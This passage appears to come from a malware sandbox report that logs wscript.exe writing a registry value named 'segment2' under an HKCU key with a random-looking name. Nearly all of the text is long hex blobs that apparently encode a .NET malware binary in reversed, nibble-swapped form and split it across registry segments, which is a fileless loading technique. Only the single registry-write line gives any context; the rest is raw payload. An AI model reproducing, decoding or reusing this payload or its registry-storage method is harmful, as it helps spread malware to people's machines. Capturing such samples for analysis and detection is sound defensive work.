00420000000000F6006600E60094005600C600960064002700160065001000000044000000000000000000000000000000100000004000000000000000F30000000000100000000000000010000000100000EFFE40DB0000000000F4006400E4009400F500E400F40094003500250054006500F5003500650000004320440000000000000000000010AE00002A8E00000000000000000000204400000A0A0000000900000000001000000000000000000000000000000000000800000000001000000000000000000000000000000800008600000010001000000000000000000000000000000800000500000010001000000000000000000000000000000800008300000081080000020000000100200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004020052FF0000000000C6C646E2565627F63637D600E69616D456875427F634F500000000000000007906000000000000000000000000000000000000000000000200000079E600000000000000000000798500000003E203E203E213700010C00000336303367313534603333383D203461316D283930343D266260336D2367303362626363342001092103777F6278645E6F696470756368754E6F6E40716277561204500100010E10000000000800010808010D528111010026020202070402001E0201030027019082111282150D151282150D1D0282160702120D1C1D1C1D1C1C1C150D17070D08050D110005020D1C1D1C1D1C1C150D1C1C150D1907001C180100040552811931821102002908050D1802000605121C1C1200060190821C119182150D14070B0E019182110026019082119182120307090942811C1E010300280542811E0191821200290191821604050D180509321512821E050D17070E0C1D1E020705050D1E010025050D1107040819321E030706080C120704053115311100260831110A04000E1801010016080809321E04070703093211002508030100240E0132811100060E0D1107040A01010024092282100025097182100005050D151282150D1112821E0C150D1D02821807031808050D150D13002801128210002505228111010026050D1101002508080D1282180D12821105000C050D150D11002605E1821190821502821E01908215070F0221010281110100260E0D11908219121E050D15070C09D0811808050D1804002A0E050D11002505F1821000050190821C1D1DA1821C15B1821C16070F0C1D1C1C12002601F1821D1000260DA182100025020D1C1D1C1D15E1821971821C16070F05E18219718211000809E181110100260E0190821E080205070909D18215D18212070801E18210002508080100240E0DD1821100060971821D180E0D180971821E0105C182151C180807051E010A0302000E1209C18215100E1101D182151202010013120E0209C18215170971821D1000060003110100250E0105C18215160E0D130D119082180D2215311801C1821442190704153115311202000705311000240D05311100050C1D1C1D1DA1821D1805121D180190821E0C15121A07061E02010024020C1C12030006020D15121D1E0D1C1D1E05121C1C1700001DA1821D10002605121D100025050D15B18211002701B1821000050D51811D51811D51811D51811E0D1E0190821190821161821D121161821551821D5181195181155182150D1190821E0190821190821190821190821DA0821E0E0D19170349A1821931821102002909A18210000505A1811D51811D51811D91821104002F080808080104002701A181195181180808080106002D0808010200250D91821551821100080991811808010300280D51811000250591821000050191821000250D81821000250E0E010200050581811E0100060C1101002408020181811E080400090E09718211000601718111010026096181180E0E0E0D14000A050D120E0D1190821207070E0D1E01000501908211908211908211908214070E020C119082150D150D1D1216070D0D4181180202002702001C110200060190821107050C1D1190821C1804070902020D15121D1E0D1C1D1E05121C1C1800011D3182110100260A0000230808050D1103002705010100240E0A010004050D1000240922180100250D0190821E0A0E0507090D0D0100040C1D0100040B00002301E0821000250190821121821E0307090911821121821E0D01821D11821E0607001C1C1C1200050D11821101002609118211908211118219321D01821E06070118080E0200250E09321100250E0C1100240111821000250911821000250511821000250E0E0E0E030006020190821E03070709018112010026010182110100260101821000050190821E020706020E0E0803000601F0811190821DE0821E04070C01F0811000250C1D1201E0821C1407090C1D1E0100050E0E0E02000505E0821000050E0E0E02002501908215C0821C13070908080C15C082110400290C15808219D0811808050D192216002F080E010200250E08010004080101002401D0811DC08119C0811103002C020000230808080200250190821DA0821190821E04070C0E0E01002405B081110100060201010004030D1190821D221D221E05070C09A08211010026030D1E0D110026019082110100060C1E01000408010100040E346F6864756D602465647162756E65676C3215607974540E0450010E346F6864756D602465647162756E65676C321001013922110100250C1580821922120028081C11020025000000000105020101002400031107040003110A04000311081215160000000F5F55636E6164737E694F5F55637F60737964431F5F55636E6164737E694F5F556471656273421C6F636F647F6270547E65696C634074747840716F635E237C6F636F647F62705E23756369667275635E2265675E2D6564737973543001016E0E0E0E01040027000E110704000E110A04000E100100150E01070305121107040961151211000608010703020107030C1C1100040000027563755E297D4700010C00000E6F69647163696C6070714E297D4E000103100003756369667275635265675E297D4E000103100002756475707D6F634E297D4B0001001E010100240412110704011211070408021107040C021107040412110812151601121108121516080211081215160C0211081215160000003E203E203E2431380564716C607D6564597D4A0001081E0E010200250000000000010001080D41110100250000000104000000020400800000040C3116030906020D321603050D150D110006050D1E02020006050D1E0100050E050D1100050C311C3111000608093218180300070810000305311603080000030831160308311012010006080E01000401321603000A7009700870077006700570047003700270017000700F600E600D600C600B600A600960086007600660056004600360026001643E020100040808010004050D1E0201030007050D1C110005050D1E0102000602000003080E00180E00160205000A081602080808080808080E0818000B020E010200050D2216030E0D16030C110100040E01010004050D110100050922110100050E0000030C1000030E0C1100040C160205221603012216030D121603050D16030A0602091216030206020E0E0100040806020E06020003100824000316030003100024000312000E101101010037000E100E11010017000E120E0000230512100024080000230C120100240412100804011210080408021008040C021008040412110812151607041210000401121108121516070112100004080211081215160708021000040C021108121516070C0210000401000003010000230A3A05D11F7F5F30B80980E439165C5A77B800022B2C58BFF6C126AD4564CEDCE26E0EA000097001600270027001400F60045F00000860037005700C60064B00000560047009600270075B0000046001600560025900000230087500000440094007500840002002700270054110000A7009700870077006700570047003700270017000700F600E600D600C600B600A600960086007600660056004600360026001653000063003300E200730033005300F2009600270016006600160035000200330013001300E2002300130013003300E2000300E20003006300F2005600D600F60027008600340002009200F600B60036005600740002005600B6009600C6000200C200C400D40045008400B4008200020063003300E200730033005300F20047009600B4002600560075005600C600070007001400020092004300630087000200B30043006300E600960075000200B3000300E2000300130002004500E400020037007700F6004600E60096007500820002000300E2005300F2001600C600C6009600A700F600D47E0800001300E200430003006300F2009600270016006600160035000200830043001300540053001300F2005600C60096002600F600D40002000300E20013001300F200E600F6009600370027005600650002009200F600B60036005600740002005600B6009600C6000200C200C400D40045008400B4008200020053001300E2001300E200530003006300F20047009600B4002600560075005600C60007000700140002009200850002003500F400020036001600D40002005600B6009600C60002001300F5004300F5001300130002003500F40002005600E600F60086000500960002005500050034000200B3005600E600F600860005009600820002000300E2005300F2001600C600C6009600A700F600D4311800000300E20063006300F2008700F60066005600270096006400020013000300130003000300130003002300F200F600B600360056007400020092000300E20063006300A300670027000200B3004300630087000200B30043006300E600960075000200B3001300E200630002004500E400020037007700F6004600E60096007500820002000300E2005300F2001600C600C6009600A700F600D4B9080000C500560027001600770047006600F600353100001700F20002006600F200020022F0000022000200C400540044B000000200440034700000C4005500E4000200E30002003300020047005700F6005600D600960047F1000066006600F6000200F60086003600560004310000470016002600E2901000A000D000A000D00053003300230053000200A300860047007600E6005600C600D2004700E60056004700E600F6003400A000D05310000200A3004700E600560076001400D2002700560037005500A000D000460056004600F6003600E6005600C60027005700D200D6002700F6006600D200770077007700D2008700F200E600F60096004700160036009600C6000700070016000200A3005600070097004500D2004700E60056004700E600F6003400A000D000560067009600C6001600D200070056005600B6000200A300E600F6009600470036005600E600E600F6003400A000D0FA0800000200A30047003700F6008400A000D0001300E2001300F20005004500450084000200F200020045003500F40005F2000022301000220002005600C60096006400D20002003700370016000700970024000200970036009600C600F6000500E600F6009600470057003600560087005400D2F30000560087005600E200C600C600560086003700270056007700F60007D10000130037000700E29000004500540074700000D5300000B5000200E60056000700F4D00000270056007700F600C400F60045F0000076003700D4700000020012002700F6002700270054000200E600960076005700C60005D1000034005400447000003400E400547000003600E600570064003400140055F00000E60057002500A600E60096D000003700E600F600960047000700F400E6005700255100009700270056006700F60036005600251100009700270056006700F600360056002500E6005700257100005600B600F6006700E60094D00000E600570025700000E600960076005700C60005D00000050014003400329000000700160034004290000046005600C60026001600E600540002004700F600E40002002700560076007600F600C60097005600B4005600E6009600C60066006600F49300004700560074005600E6009600C60066006600F45100001200460056006700F600D6005600250002003700E600960076005700C600051200003700E600960076005700C600050056006700F600D600560025B10000E600960076005700C600050056006700160037510000E600960076005700C60005004600E600560037510000E600960076005700C60007D000003700F600440044900000270027005400370047003700F6008411000012009700C600C6005700660037003700560036003600570037000200460056009600660096004600F600D4D2000074003500D400370047003700F60084110000370047003700F600860035D00000370047003700F6008600C500360047005600C5003700270056006700960027004600C5520000370047003700F60084B00000470016008600360085B0000047002700F6000700560025000700F60047003551000047002700F6000700560025004700270016004700357100003700F600440044000700F6004700351100003700F60044004400470027001600470035310000C600C600560086003500E600570025111000C400D2000200560087005600E200E6007700F600460047005700860037F1000066006600F6007600F600C400340005110000030002004700F20002002700F20002006600F2000200560087005600E200E6007700F600460047005700860037F200004700270016004700370056002500340005310000030002004700F20002003700F20002006600F2000200560087005600E200E6007700F600460047005700860037F20000E6007700F600460047005700860035003400055100005600460096008600C600270055F00000E60056000700F600C600270055F00000E400C4500000D400645000007500445000005600470016004600070057D00000C600C600160047003700E6009600E6005731000054003500F400C40034B0000036005600277000007600E600F6000790000012007400E400940005B0100000300000470027001600470035B000002400D40002700000240074000270000055000500347000009200D4004500820056002700F6003411001000009200250082700000220003005500050034002200D30046009600560036009600670056004600E2002700F6003700370056003600F60027000500F50023003300E600960075F300005600D6001600E490000027005600C600C600F60027004700E600F6003400F6005600460096006500F50023003300E600960075000200D400F400250064000200A2000200450034005400C4005400357400005600E600F600E4900000C23000005600D6001600E40097001600C600070037009600467100004700360057004600F600270005003700570027009600670096004700E60014000200D600F600270066000200A2000200470036005600C600560035D300002300270056004700E6005600340097004700960027005700360056003500C5004700F600F6002700C5B20000C500C55000002700F6002700270054B00000970097009700F200D400D400F200460046310000470096002600430063B0000056005700270045900000470096002600230033B0000056003700C600160064B0000002300000050035500000B60036001600050002005600360096006700270056003591000047006600F6003700F600270036009600D4310000F4006400E40094900000370005007700370045009400F400370044002600750033009500E600740035120000D300D30076002400C60027004600870096002500530075002400830083000500050033005300140043004500540025130000D300D3007600A70086006700B200A400960043003300D6007500940086005500C60085007400250086004500030077130000D300D3001400A400F600B200750085004300C600C600560057009500D4008500440013002500A500F6004300840037130000D300D300760053003500B40094002600A5003300A6005700E400E4005300E600F20053008600150003006600550064130000E400F6008600A70074009400F60046000300C6009700930064009600860066005400650066008300F20056006600A7008600A6001300B6006700C6005300C60077007400D600D400D4006300340066001300530084005700A600440013003700460036008600860017001300440037001400A500660075000500860057004618080000000000568756E247E65696C634850047E65696C634850056475726962747471456C647964597C626D65637371400564757269627474714E6F696470796273637564497C626D6563737140056475726962747471497E61607D6F63497C626D6563737140056475726962747471447365746F6270597C626D6563737140056475726962747471447867696279707F63497C626D65637371400564757269627474714B62716D6564616274597C626D65637371400564757269627474714E6F6963727566556C6966497C626D656373714005647572696274747144696577400564757269627474714974796C6962696471607D6F63456D69647E657250056475726962747471437E6F69647168716C65625E6F6964716C69607D6F6340046E696B44757F69716C4005647572696274747144757F69716C447365727473500C6C646E22333C656E62756B600C6C646E223332756375700C6C646E25627F63484350027F64707972736E65456471656273400473656A626F44736162747265735005646F6D4E6F6963737562707D6F63400D616562747350796A57400E6F6963737562707D6F634E2F494E2D6564737973500275647275667E6F63447962400560797455676E61686340046E696B45657C616659727473796765625009756B426573556471656273400B636568634E6F696373796D62756059756B49727473796765625002756375547E65627275734009727473796765625002756070755F645009494343514F547567600436347E6940056A79635C61647F645F547567600F666E69456679627440047F6F62586471605475674009727F6473656279644D65647379735F54756760047E657F63427F637375636F62705F54756760076E6962747354756740047E657F634B6369645F54756760066F456A7963500C61686372716D4003727168634F54756760056D616E44737F684B636568634005607974556D616E44737F684962755009627550056D616E456C69664F54756760056C65746F6D4E69616D4F54756760056C65746F6D437375636F627050037375636F6270547E6562727573447567400B636F6C624C616E69664D627F66637E61627450027F647079727365644564716562734005646F6D4F5475637005646F6D4275686079634009756B4F547563700D686479627F676C6143696274756D6D69735009707F634009716272714008637168456475707D6F63400D686479627F676C61486371684002756469667F6270556369667275635F647079727345344D400D627F66637E6162745F64707972734940046567616E616D4C6561646E6A6962500978607162776F64707972734E29747962757365635E2D656473797350056475736568754C6C6568635563755F54756370076F6C616964427F6272754F54756370077F646E69675F6E4564716562734F54756370056D616E456C69664F5475637008647160556C62616475736568754F5475676008647160507574727164735F54756760056E696C4564796277500275647962775478756450056D616E456C6966407D6564547567400275647962775D61656274735005607974546567616E616D6E655005647572696274747143714C61686372716D400C6C646E22333071636966716005647572696274747144727F607D694C6C6440037564797244756740083644555F54756760076E69646F636E654003727564756D61627160547567400F666E69427564756D616271605005637162446F6864756D40047E696F605972747E654F5475676003747E656D657762714F54756370056C697473577F646E69675F54756370056C697473577F646E6967537375636F6270500864796753746E654003756479724C6C614564796277500F666E694472716473537375636F62705005636160735005637E6F607375625475674005637E6F6073756252656750046F6864756D4F5475637004757F656D69645F5475637004736562796465625F647571477F6C6C614F54756370047E656761427563755F5475637005647165627340047375657175625265675005637E6F607375625265675074747840047375657175625265675074747840097E61400130656C626162756D657E654940056C626162756D657E6540017E696C4E2D65647379735005627F634E2D6564737973500230636E657640037E6961647E6F63400275677F6C4F64500974707D65427F4C6C657E437940056C647964577F646E69675E69616D4F547567600375637375636F6270547567400464614001306473796C40036962756E65674E237E6F696473656C6C6F634E2D6564737973500E616864527564716562774F507F6004656370716C654F5475676003746E6F6365635D6F6276400863647167707F6473500E61656C6F6F624F64500374737968754008647967537472716473500233347E69400233347E694F64500C616571754473656A626F456271607D6F634C616E6F696479646E6F63400475674564716C4003746F6864756D44756740056D616E4F547567600F666E694275626D656D4003756079745475674004616F6C40097C626D65637371400E69616D6F64447E65627275734F547567600E69616D6F64407071400F666E69446F6864756D400E6F696473656C6665625E2D656473797350076E696274735436356371624F645005667163500765607A4F5475676004716D627F664567616D69400567616D69477162744004796E655373696860716277400E65656273635D6F627649707F63400E6F6964716275607F4C6568796059707F63400567616D694D6F6276400567616D694004716D627F664C6568796050076E6967616D694E276E69677162744E2D6564737973500478676965684F5475676008647469675F5475676003746E657F624F547567600E65656273635972716D6962705F547567600E65656273635009756B42657
(PID) Process:(7596) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\YwqNWzTslUjqsUb\donn
Operation:writeName:segment2
Value:
35564756C65644002756375547E65627275734F5475676009756B49727473796765625002333E69675E24766F637F6273696D4009727473796765625F5475676009787F62705972747379676562500375636966727563597D4E23696371624C61657379665E24766F637F6273696D400567616373756D4F54756760047875645C6C61456479627750047875645C6C614461656250056C696640086471605275646C6F66447567400275646C6F664C6169636560735004727F6261400C6C65686350056C6974735E6967507071400E6F696473616275647E6940037375636F627050056C696644616F6C6E677F6440056E69626D6F634008647160507D656454756740076E696274735436356371624D6F627640047275667E6F63400E677F6464757863500E677F646475786354756B636F63500472716473756250037D627F664E23777F646E69675E2D656473797350046F6864756D456271607D6F634003776E696274735000716D64796240056C676E616473656250056A796350037369686071627740076E69677162744E2D656473797350063F5F542164626D616C4F50053F5F542164626D616C4F50073F5F542164626D616C4F5004727F605F5C61636F6C442246542004737F684F5C61636F6C4422465420013F5F54256275737F6C634F500473656C6C6F634003474005637F6C6340046E65635E69676562400C6C6F605005646F6D4473656C6563500275647E6540027F64796E6F6D400560797455657C61665E6F4B636F6C436E6973527F664B63656863400C6F62747E6F63477F6C664473656A626F400C6C61634564716C40076E69646E69624564716C47756E40047271647354616562786454656A79627564756D6162716050056479627750056479724564796277500D616562747350076E6F6C4F645009716272714F645005667965636562546E654005667F6D656250056C62657F6440046E657F62500864716D400C6166500E6F69637275667E6F63400436347E69455009727F6D656D4C616369637978605C61647F645F547567600F666E694F5475676002756475707D6F63427566727563500473656A626F4564716E656471636E6F63400974707D65400473656A626F447E656D6567616E616D4009727565715473656A626F40076E69627473726573500864776E656C4F547567600478756E45667F6D40046E65607071400D6564794F54756760047E65627275734F54756760027F647162756D657E654475674004756740056D616E456E696863616D4F54756760027F647162756D657E654473656A626F447E656D6567616E616D400E6F696473656C6C6F634473656A626F447E656D6567616E616D400473656A626F45637162447E656D6567616E616D4002756863627165635473656A626F447E656D6567616E616D40047E656D6567616E616D4E2D656473797350056C6F625E69437940056C6F625E69447C69657243777F646E6967500C616079636E69627053777F646E696750047E656272757344756740097479647E65646943777F646E6967500C616079636E6962705E29747962757365635E2D656473797350076E69627473556271607D6F634003727F64716275607F40056D616E456C6966447567400864716050056D696455647962775473716C4F547567600F666E694D6564737973556C696640056D696455647164400F666E69456C6966400E61656C6F6F62400D6564737973576E6964716275607F447962443633794F547567600471636E6F63400B636160556369667275635F547567600E6F6963727566535F4F547567600D6564737973576E6964716275607F400563616C60756250056D616E4C6C6576435F4F54756760056D616E427563755F547567600F666E6942756475707D6F634004756350056C646E616844796167547E656675400377616C6644756B636F63500473656E6E6F634002756765647E694F6450056A7963527566666572446E65635F54756370056A7963527566666572456679656365625F547563700564797240056079745C6F636F647F6270500560797454756B636F6350097C696D616643737562746461400B6361626C6C616342756D696450043F5F542164626D616C4F50003160033F5F542164626D616C4F5005647572696274747144616562786451445350056E6F4479616750056C646E616844796167500478756E4005637F6073796440056C6261637F607379644940076E6962747354616F6C6E677F644004796D696C4E6F696473656E6E6F63447C65716665644F547563700C6F636F647F627059747962757365635F54756370056079745C6F636F647F627059747962757365635005657E69647E6F634030313473656078754F54756370027567616E616D447E696F605563696672756350047E65696C634265675004756E4E2D6564737973500E696F6A4004727164735004727164735461656278645004796C607350076E69627473500271686340027F6272754473656A6F62705271656C63400479687540047E656D6E6F6279667E6540027F6272754473656A6F627054756350016471644473656A6F627050037E6F69637275667E6F63400E6F69647075636875400564757269627474714867657F6278645075647352756767657265644005647572696274747149716C60737964427567676572656440023F5F542164626D616C4F50013F5F542164626D616C4F50056B6F667E6940047C65737562536E69737145647167656C656440056B6F667E69446E65400564716473536E69737145647167656C6564400B6361626C6C616345647167656C656440056B6F667E694E69676562400B6361626C6C6163436E69737140046F6864756D447567627164500473656A626F4475676271645005647167656C65644473716369647C657D40003F55647167656C656443757F6D697E6F6E61442246500564757269627474714465647162756E656742756C69607D6F634005647572696274747143696471647354616562786450056475726962747471456C62696379665D6F63400375636966727563507F6275647E694E256D69647E65725E2D6564737973500564757269627474714E6F696473656C6C6F6340757F6277497D4005636E6164737E6945647165627340027F6471667964736140056C646E61684D6F62764560797454756740056C646E616845607974556D69647E65725005657C61665473656A626F44756740037275607C6568456D69647E657250037563696672756352756C69607D6F634E256D69647E65725E2D65647379735005647572696274747144627F6779756B407C6568400E67696375644E2C65646F6D447E656E6F607D6F634E2D656473797350056475726962747471456D616E456C65746F6D4564696840056475726962747471456C65746F6D446271646E61647350037563696672756352756C69607D6F634E23696371624C61657379665E24766F637F6273696D400564757269627474714E656464696842756767657265644003736964737F6E676169644E2D65647379735005647572696274747145646F634465647162756E65674002756C69607D6F634E2D6F6445646F634E2D6564737973500564716473556C626163777F6272427F6479646540056475726962747471456C626163777F6272427F64796465400C65646F6D447E656E6F607D6F634E2D65647379735004454259455155425F5D45445359535F53554004454259455155425F59514C405359444F53554003555F455E49445E4F434F5355400F5F55657C6166700D657E6540056D6964577460056A79635263600560797455657C616650087564757D45637F6C6340087564757D45647165627340087564757D4070716F50027F647079727365644F53554140027F64707972736E654F5355414003737562707D6F634003737562707D6F6365644005657C61665475674005657C61667005657C616654756350086371684F64527473700458637168447567400449400352400370024350056C647964577F646E6967556679647361447567400075656C63547E6566756270500377616C6643756005647164735E6F6964757365687544616562786454756350047E657F63600478756470046E67586004787564577F646E6967547567400275646C696572476E6962747350047875645E2D656473797350077F646E6967546E657F627765627F664475674003747E65676142756375700473614473716C40056D696450056D6964756C64694473716C4473716C40056D6964756C6469666F6D6573700E616073556D696450056D69645475707E694473716C44756740066E694475707E694473716C60056D6964756C64696009696C60700F666E694475707E694473716C447567400864776E656C60076E696274735D6F646E616254756740047E6562727573600C40500D6F646E6162500475626168607C6140056D616E60056D616E4E69616D6F6444696C61665379400373756E6562716771600373756E6562716771496074437375636F627054756350096074437375636F6270500475707E6960047079727365644002747350056471646075537940035E45500275666665726009727F6D656D400E6F69637E65647875400B6379644E6572500D6163400275665263600275665A73707C60056D616E426360056D616E4A73707C600275667962744770014E6F69647079627363756442756679627444756740716360056C646E61684004494E60047E65627160546E6778600478676965684E6008647469675E6009500850056C697473577460056D616E477F646E69675A73707C6001477F646E696755627574707163456471656273407163600E6564646968400C6275500C62755E65607F400164716440076E69627F64796E6F6D400475707E6940044450077F646E696754727F60756250037F64444004616562786450027F627275446E65635007435D446E65635002400E6967657C605003525004616562500B63616050076E6960500A626F60076E6F605004656473656E6E6F63637964437960046E6563546E654007637D60046E6563500260046165625E6967656240027160056679656365625E6967656240047C65737562536E69737149400D4142500550534005505740037572796679647E61400341455004616562707350054451444E49400F666E694008400275667275635473656E6E6F63400473656E6E6F634E6967656240076E6F605564716679647361400C61667275647E6940046565607350036E6973546E656350056E6F644C6C6160047E65667544756375625C61657E616D400B6369645002756D696450076E696461656278645E2D656473797350035D400D616562747359727F6D656D400F494E2D656473797350027566666572400864776E656C42756666657240035004756B636F63500374756B636F635E24756E4E2D65647379735004656473656E6E6F634379600C62757002747354616F6C6E677F6440087564757D400D4E4243555002657F6277400075656C63500C40535009554B4004727F605004737F68400C627555647371605005636E6164737E694475674005657C61665369647164735461656278645F5D6005636E6164737E694475674F547567600F5F55636E6164737E694F5F55637F607379644005636E6164737E696004500F5F55636E6164737E694F5F55647165627340076E696274735F64500560797454756740056079745005646F6348637168447567400F60037C61657175400375636966727563526567500E6F69647163696C6070714002756469667F62705473656A626F4375636966727563526567597D4F5D6003756369667275635265675F5475676002756469667F62705473656A626F427563755F5D60027563755F54756760027563755002756469667F62705473656A626F4070714F5D600E6F69647163696C6070714F5475676002756469667F62705473656A626F42756475707D6F634F5D6002756475707D6F634F54756760027F6473636E200473656A626F400D65647379735002756475707D6F6340037563696675644E23696371624C61657379665E24766F637F6273696D40027F64736E20056371624E6F69647163696C6070714003756369667275635E6F69647163696C6070714E23696371624C61657379665E24766F637F6273696D4005445144535F5E4F49445553454855400F464E494455505E494453514C400275607C6568400355414D686479627F676C614002756C6C6164737E696E6550037567616373756D4004756B636F63547E65696C634002657473500E69616D4003776E696474756350013062756469667F62705473656A626F45666163546165627864500375636966727563526567597D400473656A6F6270597D4002756475707D6F63497D40097D400E6F69647163696C607071497D4003696371624C61657379665E24766F637F6273696D4002696C627F63637D600E356C65746F6D4C300000000008082101E60DE10D730E000D2203900D220C400B10000000020C400910001000020C400C00001000000A0001100D000F000D000E00040006000400050000000004157001000000000000000000000004000000000014F001000000000000000000000004000000000010B00A000000000000000000000004000000000E02300A0000000000000000000000040000000001064001000000000000000000000004000000000003100A00000000000000000000000A00000000000A000100000000000000000000000400000A1970000000000000000000000000010000008400040604B0039100400306069001910000030608600F81000003050BE0098100000205018003810040010404F00D61034001040C900B61000601D60DB5046307020A0203010CF105F008800570057916491B39103511F00B000F00020009000700020007000600020005000500020003000400020004920F8000000E5202000000095105A00000045106F000000F410D300000050006000100040802F807D807D809C802B80988087801580B420988004809300C98043209780912057802070DD70D97078700670C370227091601F608A5042504260E7602050C5507450425093504250A1406D408B407A4088406540B340724071305F307A30983031208920892098204820972057200220B12061201180EF008580EF006570B9001470B900D3102C003EB00A102C003E7006102C003F7006102C003F7004102C003E7004102C003F5008102C003E5008102C003E5006102C003F5006102C003E200E102C003E200C102C003F200C102C10392008102C003E2032308300BE2030102C003E203010DC00312000102C00B22000102C00B2100E102C00B2100C10DC0031100C102C0037103A102C00B2100A102C00B2100810DC00311006102C00B21006102C00B2100410DC00311004102C00B2100210DC00311002102C00B2100010DC00311000102C00B2000E30D1003D003C10DC0031003C102C00B2000C205A003C003A10DC0031003A102C003E001A102C00BD001A102C00B2000A20B30038009810CD00B10038102C00370038102C00B70038102C00B2000820360038009610DC0031003610CD00B1003620F40038009410CD00B1003410DC00310034102C00B2000410DC0031000430D1803800E2902580B700E29082803700E2909080B600E230D180B900E230D180BA00E230D1803A00E230D180B800E29000803600E230D1803900E220A200380092102C000C009010DB00CB0090108B008B009010F2000800E020521091509020521091501020521091409F20521091401F20521091409E20521091401E20521091409D20521091401D00311091409C30BC1091401C807F1091401B00310105109780AE1091009770EC91024014803C515D409980DAC09B1092401A9111109F803A1091401A80C931DA40998059818C1092701C109100934077703230128028819A301280F6704130128056819A3012800681284018001781171094302A2003109A70078176309E40DF8135401720521091401700F981D3101F00AC81921093108781611093805481C0309E80D241A20096108771EF10938012717F40968031E0FD001780E0715E109430BC109100178070717D409570DF109100960017716B4015707F717A201F701F7178201F704D7137401270EC71364014707C71A54014701C71744014704B71F2409370DA71D140130031109140920031109140913081614A309C30816149309C30816118309C20526147309C00311091309C00AC6116209D00AC6115209D20526174401120521091409000AC61C2101F70491091309F20521091301F70C7401000137067515D309E700751CC309E7095A079309D7025515B309D407790A6309670C451D830967033B0F5201F205251F7309C70C251F6309C20521091309C609751351094100151543011108651E2209C70315122309A205251B0309A30BC41FF309A3081419E309A205241BD309A70E0C01100167070414D309B609D416A30993032109100C5609741561094001741D5109410A241F41094001741B3201F60AC41E2201F604C41A20045003110910045600A319F009660B931DE30180031B0F530180031109130186059311E009610A231DC209E10A2316C3011609731BB1094300D31DA209E602731F8109F60163178201860A531C70092001731373017604531F5309660C431A53016606431F330160031C09030930031C090209A10993190209E508F31403093502F21BF3015502E215E209A50AD1091209B506C1091201C50CC219C209A506C1091201B008621873093008621E6309350DB21CA209A504B1091201C00862187209B008621E6209B50EA21363092508A21153092205221D33012502A21D2309150C9214020940017119C1012506911CB301100F9110B301150F811D9109350A8B0F5009500311198009550081138209F5097B0F5201F106D1165109540B011E4101F00AC1124101F10391113209E50271102001300711190209D5076B0D4209C5065D0A4109400710195201A0031C09000130031010500130031010520170031C0900014400E40A0001300FDB0A2201930BD0164001350130114001310862003109250A20103201900FD01C020985080F01F201850101091009530321091209740DFE0FE0093405FF03C0093400FF09B00930031C090201740BEF0BA1092406EF03A0093400EF08900134028F0191094001720032096401DF048201640CCF0B72095408CF015101C402CF08420940031E08B2014205210912014401AF072109F40A9109120912052109120930099F01210944028E0AF10940086E0FE00170086E0FE109400172003001730ABE06E201340C7E0FD00174077E06D20124017E0AC201340B6E0CB20924056E08B2091003110910017106D1091209140E5D0A4109400ACE08A109340F4E09220904084109120904024D0AF20104043D02C109F00F9D0CA101F302A2003101E4012D059109E20521091109D4011D0A4109400172003101D10C0D015109340B0D0A410940017D0A3109C4050D0C2109330FFD04110940017D050101C00ACC08F109300311091101C30ABC07E109B30BE1091001430321091109830BD305E0013303210911090305DC03C0013300DC09B109230BCC06A001330BCC009001300311091009330EB1091001330811091009400311091101830ABC0121097304BC01100160031109100160031C0901017302AB0EE109500311091109530A6B03D101630B9B0EB10163069B03910160031B05600950031B0F5009530281091009530321091101530B7B0D410940071B0F2101330A6B0A210933047B0E0101330F62003109230A6206B009500311091109120521091101100311091009F00311091001F30811091009E000920B7004420D91091001E00311091009120D890A6009D00172003009120D790E40092008620710091003620E00091200790D2009C20521091001C00311091009B00311091001B00B820B600C300B820B6004300B820B600C200B820B600420031109100C30031109100430031109100C200311091004200311091009A003110910011106D1091001A107C10910019003110910090A03800100000A06600200000A05500100000A0E200200000A0120010000050070010000050070010000050070010000050070010000070D10010000070D100200000504B0010000070A00010000030FF00100000609F0010000060CC0010000060EA00300000609A00200000604A0010000050CF00100000504E00100000504B0010000050890010000050070010000040340030000050460020000050B500100000C08400100000C0840010000050050010000040480020000050F30010000050D20050000050520040020050E10030000050510020020050D000100000409E0080000040ED00700000406D0060000040FC0050000040DC0040000040BC00300000403C00200000404B0010000040590020000040190010000040480010000040370010000040600010000040600010000040340010000030FF00100000C08400100000C08400100000406200100000302F0010000040600010000030FF00100000302F00100000309A0010000020AD0010000020E40010000020E4001000002051001000000024003101C8806000000000344700240031109181600000000044C300240031A079306400300000000000143023A097306400300000000000F33092A094306400300000000000D330321091816000300000000000D300717027006100000000F40100D310C07066006100000000E4CE00C3106A70E4006100000000E48700B3106A7004006100000000E44000A3106A7073006100000000C4470093106A70C2006100000000A44D008310397032006100000000A446006310F9704100610000000094CF005300F970100061000000009488005300AC60EF006100000000848F0043109960BF00610000000084CD00331039606F006100000000840C003300AC601E006100000000840600330071604D0061000000008482002310C8604B026100080000000000F210486069026100080000000000F210086086026100080000000000F2006C605500610000000074CC00F210876071006100000000740500E210D650BE026100080000000000D21086504D00610000000064CF00C210A2502A00610000000064CD00B210525018026100080000000000B200711045811100000000648500A2001C508600610000000054CC00A200311091816000000000544C007210D1507500610000000044C40072003110918160000000004444006200FD014A8011000000003446005200FD01898011000000003445004210715094001100000000248D0022100150730011000000002440002210C05033006100000000148A00D11010404F02610008000000000051002F40C90261000800000000003100CE4098006100000000048E002100AD4097006100000000F38F001100AD4007006100000000F380000100AD40D4006100000000E34C00F000AD4054006100000000E30800E0004D40C3006100000000934A00D0004D4043006100000000138100D000311091816000000000130100C000FDC0B4801100000000130000B000FDC0C3801100000000034F00B0007140A2006100000000038700A000FD4012006100000000030300A000714021006100000000F283009000EC40A0006100000000E28F008000AD4010006100000000D28F0070004D305F006100000000D24C006000EC305E006100000000B24D006000AC304D006100000000A2CF006000AC300D006100000000A2C5006000AC30CC006100000000924A006000AC302C006100000000820A006000AC30EB0061000000008244006000AC307B00610000000072CD006000AC300B00610000000072080060006C30BA00610000000062C10050001C30B900610000000042CA0050007130E800610000000042C90050003110918160000000004249005000711045811100000000420600500071A0AA801100000000424200500071A0E98011000000004281004000F920EC0061000000003287004000710018006100000000224400400031109181600000000022C30040003110918160000000002243004000711045811100000000124E00400031109181600000000012CD004000B820B6803000000000120B004000311091816000000000128A00300008207500100000000012C800200087209300110000000012860020001720032064000000001205002000C62082003800000000124300200086207120640000000012C10010003620E020640000000002CF00100024108C803100000000020E0010005310AA803100000000024C001000821018803100000000028A001000B110B580310000000002C8001000711045811100000000020600100031109181600000000002850010003110918160000000000205009901D70060009901E60060104B704C0865104B700B0865104B702A0865101B70A9606000C970E8016000C97078016010DA70C50061004E60D5006100996005006100C960F3006110C760130061104760A0001100C